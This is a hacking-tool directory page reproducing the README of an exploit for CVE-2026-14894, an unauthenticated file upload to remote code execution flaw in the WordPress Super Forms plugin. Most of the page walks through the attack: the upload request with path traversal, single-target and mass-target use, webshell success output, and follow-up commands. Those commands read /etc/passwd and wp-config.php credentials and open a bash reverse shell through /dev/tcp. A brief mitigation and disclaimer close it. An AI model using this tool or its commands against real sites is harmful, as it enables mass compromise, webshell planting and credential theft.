Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-14894 — Exploit for CVE-2026-14894, an unauthenticated file upload to RCE in WordPress Super Forms ≤ 6.3.313. Uploads PHP webshell and supports single-target or mass exploitation. | Kitploit
Tools/GitHubGitHub/1beelze/cve-2026-14894
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHub1beelze/cve-2026-14894

CVE-2026-14894

Exploit for CVE-2026-14894, an unauthenticated file upload to RCE in WordPress Super Forms ≤ 6.3.313. Uploads PHP webshell and supports single-target or mass exploitation.

View Repository
21 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-14894 — Super Forms ≤ 6.3.313


Overview

Unauthenticated Arbitrary File Upload → Remote Code Execution in the WordPress plugin Super Forms versions ≤ 6.3.313.

The vulnerability resides in the AJAX handler super_submit_form which processes file uploads through a field without validating the file extension or MIME type before writing to disk. An unauthenticated attacker can upload a PHP webshell and achieve full Remote Code Execution on the target server.

datauristring

Vulnerability Details

FieldDetail
CVE IDCVE-2026-14894
PluginSuper Forms (WordPress)
Affected≤ 6.3.313
Patched6.3.314 (forces .pdf extension + realpath containment)
CVSS9.8 Critical
Auth RequiredNone
Researcherandrea bocchetti
AJAX Actionsuper_submit_form
Sinkdatauristring field → class-ajax.php:2762–2766
Upload Path/wp-content/uploads/superforms/YYYY/MM/<13digits>/

Attack Chain

root@kitploit:~
[1] Mint nonce (nopriv)
    POST /wp-admin/admin-ajax.php
    action=super_create_nonce
         │
         ▼
[2] Upload PHP shell via datauristring (unauthenticated)
    POST /wp-admin/admin-ajax.php
    action=super_submit_form
    data={"sf_upload_field":{"files":[{"datauristring":"data:image/png;base64,..."}]}}
         │
         ├── Path Traversal → /wp-content/themes/<theme>/shell.php  ← primary
         │                                                             (always exec)
         │
         └── Random folder → /wp-content/uploads/superforms/...      ← fallback
                              (exec depends on server policy)
         │
         ▼
[3] Shell Discovery
    ├── S0: media?parent=entry_id  (WP REST)
    ├── S1: REST /wp/v2/media search (unauth)
    ├── S2: Apache/nginx directory listing
    └── S3: WP sitemap attachment XML
         │
         ▼
[4] RCE → curl "http://target/wp-content/themes/theme/shell.php?c=id"

Requirements

root@kitploit:~
pip install requests urllib3
  • Python 3.8+
  • Network access to target WordPress site

Usage

Single Target

root@kitploit:~
python cve-2026-14894.py
root@kitploit:~
  CVE-2026-14894  │  Super Forms ≤ 6.3.313
  Unauthenticated File Upload → Remote Code Execution
  Researcher: andrea bocchetti  |  PoC: Beelze

  1  Single target
  2  Mass targets (file)

  Mode (1/2): 1

  Target URL               : https://target.com
  Form ID  (enter=auto)    :                      ← leave blank = auto-discover
  Shell name (enter=random):                      ← leave blank = random name
  Shell file (enter=built-in):                    ← leave blank = built-in shell
  WP user  (optional/REST) :                      ← optional, improves discovery
  WP pass  (optional/REST) :                      ← optional

Expected output on success:

root@kitploit:~
  ──────────────────────────────────────────────────────────────
  TARGET  https://target.com
  ──────────────────────────────────────────────────────────────

  Super Forms v6.3.301  vulnerable ≤6.3.313
  [1/3] Mint nonce  ......................  ✔  OK  a3f9e1c...  sid=sess_ab...
  [2/3] Upload [xkqmhzjt.php]  ..........  ✔  OK  form_id=42  entry_id=137
  [3/3] Shell discovery  ................  ✔  FOUND → RCE [path traversal → theme]

  ╔══════════════════════════════════════════════════════════════╗
  ║  ✓  PWNED → RCE CONFIRMED                                   ║
  ║                                                              ║
  ║  Shell  »  https://target.com/wp-content/themes/astra/shell ║
  ║  RCE    »  uid=33(www-data) gid=33(www-data)                ║
  ║                                                              ║
  ║  $ curl "https://target.com/...shell.php?c=whoami"          ║
  ╚══════════════════════════════════════════════════════════════╝

Mass Scan

root@kitploit:~
  Mode (1/2): 2

  Targets file             : targets.txt     ← one URL per line, # = comment
  Form ID  (enter=auto)    :
  Threads  (enter=5)       : 10
  Shell file (enter=built-in):
  WP user  (optional/REST) :
  WP pass  (optional/REST) :

targets.txt format:

root@kitploit:~
# Bug bounty scope
https://site1.com
https://site2.com
https://site3.com

Mass scan output:

root@kitploit:~
  ══════════════════════════════════════════════════════════════
  MASS SCAN  3 targets  threads=10
  ══════════════════════════════════════════════════════════════

  [01/03]  https://site1.com  ....  RCE     uid=33(www-data)
           ↳ https://site1.com/wp-content/themes/astra/xkqmhzjt.php
  [02/03]  https://site2.com  ....  WRITE   no exec
           ↳ https://site2.com/wp-content/uploads/superforms/2026/07/.../shell.php
  [03/03]  https://site3.com  ....  FAIL    plugin inactive / blocked

  ══════════════════════════════════════════════════════════════
  SUMMARY  1 RCE  1 WRITE_ONLY  0 MAYBE  / 3 total
  ══════════════════════════════════════════════════════════════

  RCE SHELLS:
  »  https://site1.com/wp-content/themes/astra/xkqmhzjt.php  (uid=33...)

Custom Shell

You can supply your own shell file instead of the built-in webshell:

root@kitploit:~
  Shell file (enter=built-in): /path/to/myshell.php

The tool will upload your file and treat any 200 response with a non-empty body as RCE confirmation.


Shell Interaction

After obtaining RCE, interact with the shell:

root@kitploit:~
# Command execution
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=id"
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=cat+/etc/passwd"

# Read WordPress config (creds, DB)
curl -sk "https://target.com/.../shell.php?c=cat+/var/www/html/wp-config.php"

# Reverse shell
curl -sk "https://target.com/.../shell.php" --data "c=bash+-c+'bash+-i+>%26+/dev/tcp/LHOST/LPORT+0>%261'"

Outputs

Results are automatically saved to:

root@kitploit:~
~/Documents/CVE-2026-14894/result_YYYYMMDD_HHMMSS.json

Status Codes

StatusMeaning
RCEPHP shell confirmed executing — full remote code execution
WRITE_ONLYFile written but PHP not executed (engine off / .htaccess deny)
POSSIBLE_WRITEUpload returned success but shell URL could not be resolved
FAILPlugin inactive, nonce failed, or patched version detected

Mitigation

Update Super Forms to ≥ 6.3.314. The patch enforces .pdf-only extension in datauristring uploads and adds realpath() containment to prevent path traversal.


Disclaimer

This tool is intended for authorized penetration testing, bug bounty research, and educational purposes only.
Do not use against systems you do not have explicit written permission to test.
The author is not responsible for any misuse or damage caused by this tool.


CVE-2026-14894 · Super Forms ≤ 6.3.313 · Unauth File Upload RCE
Researcher: andrea bocchetti · PoC: Beelze

Download Tool